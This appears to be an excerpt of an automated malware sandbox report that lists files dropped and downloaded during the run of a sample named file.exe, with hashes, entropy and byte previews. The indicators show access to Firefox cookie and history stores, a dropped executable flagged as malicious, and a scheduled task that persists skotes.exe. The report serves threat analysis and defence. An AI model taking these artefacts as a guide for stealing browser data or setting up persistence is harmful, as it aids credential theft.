Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 17:11:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.970387722344422
Encrypted:	false
SSDEEP:	48:8A0dVT9VEHEcidAKZdA1oehwiZUklqeh1y+3:8AGn3my
MD5:	2749B5D073694E4F1AD49868AC68E615
SHA1:	C9747593DADF2181AB836A196604CDBA39AB318F
SHA-256:	9FD0DCC8A137B95A513580EF03505F646917AB45A24CC24352C2407A5896173D
SHA-512:	90556A0AE84C89B6B3D721B0B397B08C3BBE7A75E922B79CFF8271E66750D168547A60679F2F7B02071876D8306C5F4514A7F40B96C694AC3FEA3267EE0AD1E6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....n.I.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 17:11:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9872320921623072
Encrypted:	false
SSDEEP:	48:880dVT9VEHEcidAKZdA1leh/iZUkAQkqehWy+2:88Gn99QLy
MD5:	A3FBAA2F4583D4A1F9C687D045117B74
SHA1:	442FE0761E1067345368E327B344E6C75D70D8FC
SHA-256:	C924C132ED3F32D2FFBE93B61558E452E1A4D4C0A2C313189372023F268FC01E
SHA-512:	B4299803A7E8645048F288F18864F33E07951296A1A3E494F10A2BD0FE70B7D1938FCE1DC9BD9B79B9687AB6E8C476C5CC4549FF6810E4DBDEB1090B4FE41353
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......I.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003143263719287
Encrypted:	false
SSDEEP:	48:8c0dVT9VbHEcidAKZdA14t5eh7sFiZUkmgqeh7sEy+BX:8cGnUnqy
MD5:	35EC682B735A77B3D3001FBA041C7EE9
SHA1:	FD4D01A8D318AF63AA48ACA8503DE18EC84CFBA1
SHA-256:	8787A95201948361143270E1237F80BEA76DBD0C2B934A392A2F8772C968C058
SHA-512:	616F5A4BB0DF2065E5E5D628B459945BBC2B008B6C527ECECCFF132A7F34A4950010E0508BD5DDAAD6C20CF609E47389E622520FEFDE5A18C29F3340BCFF6596
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 17:11:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9904983025309604
Encrypted:	false
SSDEEP:	48:8ZM0dVT9VEHEcidAKZdA16ehDiZUkwqehCy+R:8ZMGnO8y
MD5:	834DD0E9A2BD69ECD5B50D89FC5CE5B6
SHA1:	76DCE0E9A909D10D8E297B554EC50C0FDF0B948E
SHA-256:	27343EF91E63B1FBBC6137666F0A02BCACAEB2AE9F87451B07B8B5CBC7D82628
SHA-512:	21C9533082A15EBE60C3451B3ED137DA17F0155918D137035A1FFC0963A32BEF423EA59C2207D81301A087D31AB966E44F9D11A9631DA9B846E3934B767D17B1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....]..H.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 17:11:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.978542857825791
Encrypted:	false
SSDEEP:	48:890dVT9VEHEcidAKZdA1UehBiZUk1W1qehIy+C:89Gn+9oy
MD5:	53A093ED163CF0E66E8FFA927D0C02FE
SHA1:	EB0D514EDE942DC1BB9359CEA23A3D591D2298F0
SHA-256:	556A57D830A6DFA97FE4EE72B3BFF8E862D9B6987EEA22EDFF0C99DF601F9AC5
SHA-512:	5519710D110C7936621E5B2F3EFB9E2C9944FC88424C3625E66FC4EA7FB21134C6E170E080D6F4B1306774468910CD54A8B2D7B61F627540816BB49B0CEF5C41
Malicious:	false
Preview:	L..................F.@.. ...$+.,......I.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 17:11:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9836918601660556
Encrypted:	false
SSDEEP:	48:8p0dVT9VEHEcidAKZdA1duTrehOuTbbiZUk5OjqehOuTbqy+yT+:8pGn/TYTbxWOvTbqy7T
MD5:	DDD2D4CDCFED5B9736011C6C9137370F
SHA1:	20D5E34ECBCD1159F0980E6C8E01E90B25DEA0D2
SHA-256:	8D3B0F519F0455723A642798A3EA45A5DBC8908CF5687903B261B7024D4FD79C
SHA-512:	103F3F933FCF213E8518E3739E5FE7EBDFEC50CF76350BF00460EA620B220FDB63CAE6A9B1542F06B01CEB3A7F6ADA77F30101F3B5AC39FE51154637CB51330B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....pp.H.>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IxYn.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxYo............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........}OP......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsEHJKJDGCGD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912320
Entropy (8bit):	7.951250973298494
Encrypted:	false
SSDEEP:	49152:n2ukFAT41yiXtgIsVIE0+VbuyGwcmpjEofbgf3:n8Ak1y8gc+VbRGwcmpj3C
MD5:	A497AC328EBE667E4502871394265720
SHA1:	C9CC92BFEC36D6608B79C062F3FD69C86800FC06
SHA-256:	7A3739AF1F97EEB953E104354D454B85F6C395B19817B59F014F86520E2501C3
SHA-512:	37956D11C549DA390E3B78DE2A28688389E06F34525770CE6B709422D086D021C3CD64C31ED5C28A7C02F8080FEADF87BD857207D69AC898A7405CD864FFE030
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L.....T.....@.................................W...k.......D.....................K.............................L.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...eiflycbf......1.....................@...qjxsgmsm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsEHJKJDGCGD.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.422585109714414
Encrypted:	false
SSDEEP:	6:5YvbX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB9llGEt0:5Yz7BQ1CGAFBZgtVBH9t0
MD5:	CDD3074BA9AA5D2BBA46EF4C079676F3
SHA1:	F18C3A7D435CEC583F69A82D37A5288F22905974
SHA-256:	DC30A7E967D4AA84A8DE587B84E2C081F78895E6CB1FB2677224A97205C7E302
SHA-512:	6CE8B3F4078CAC253D846D6FC065A282AB191ECB6ED46BA5A49F208CA020F39D155509DFF1C52ACE2BE1F92C76B606D967E8CA99CAC8A50671648098E4E07530
Malicious:	false
Preview:	....'6,...XD..h..IC.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3244)
Category:	downloaded
Size (bytes):	3249
Entropy (8bit):	5.821776151092451
Encrypted:	false
SSDEEP:	96:N7bmli0H6666g8kQxLf8mk7dEf6OI+Fgfffffo:Jb83H6666g8kQ91g6I+1
MD5:	9A9EBF03695B02A411D3A97481130EF2
SHA1:	6FC8EC97F28BFECE4EED8DB61BDE779FDE6917EA
SHA-256:	CC9039BC65EF1D398D67D53A56DADE9FC62465AC47D2DA107E24FC0A1C9C6620
SHA-512:	A7C069DDD937AB9BB360D0C69C62FC68AF899F6F6D31E0E4AA3ED2C117A6FB67035FE5E61C53227D88A4803308BD1543BF03C1980F91E2AD4B24544717E45F7B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mlb","peter cancro football coach","watch yellowstone season 5","uss beloit","youtube gaming recap","spacex rocket launch","weather forecast snow storm","caa zion williamson"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wOXAxNBIPQmFzZWJhbGwgbGVhZ3VlMucNZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQUNBd0FEQVFBQUFBQUFBQUFBQUFBREJ3QUVCZ0lGQ0FIL3hBQTFFQUFCQWdVQ0JBUUZBUWtCQUFBQUFBQUJBZ01BQkFVUkVnWWhFekZSWVFjaVFZRVVJM0dVMFJVa01qTkNVbFdSb2JFVy84UUFHQUVBQXdFQkFBQUFBQUFBQUFBQUFBQUFBQUlEQVFUL3hBQWZFUUFDQWdJQ0F3RUFBQUFBQUFBQUFBQUFBUUlSQXhJVFF

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132979
Entropy (8bit):	5.435387740900444
Encrypted:	false
SSDEEP:	3072:fBkXyPqO7UX1Hme9kZbs4Voc5MSnXqwQ2i6o:f6yWFHrp4Voc5MSnawQ8o
MD5:	10D72B3A9E0ED404C69A0B3488530A6D
SHA1:	BE41AD12339CC0919F999AC93BAAEDE05FDE54C9
SHA-256:	47238F86EDD5C6FDF4FD68CA0D150F64FA31DA6AA975D2D3072AB0563464B505
SHA-512:	65CA2B7DE27622C53D755534986AC3291B7DBF4BE1EA27A1155ED20FD31EFC0A6E472C0316DAEA6A468A76F93436C3D4A8529F9D73E616D81DBF16EE59CA0528
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
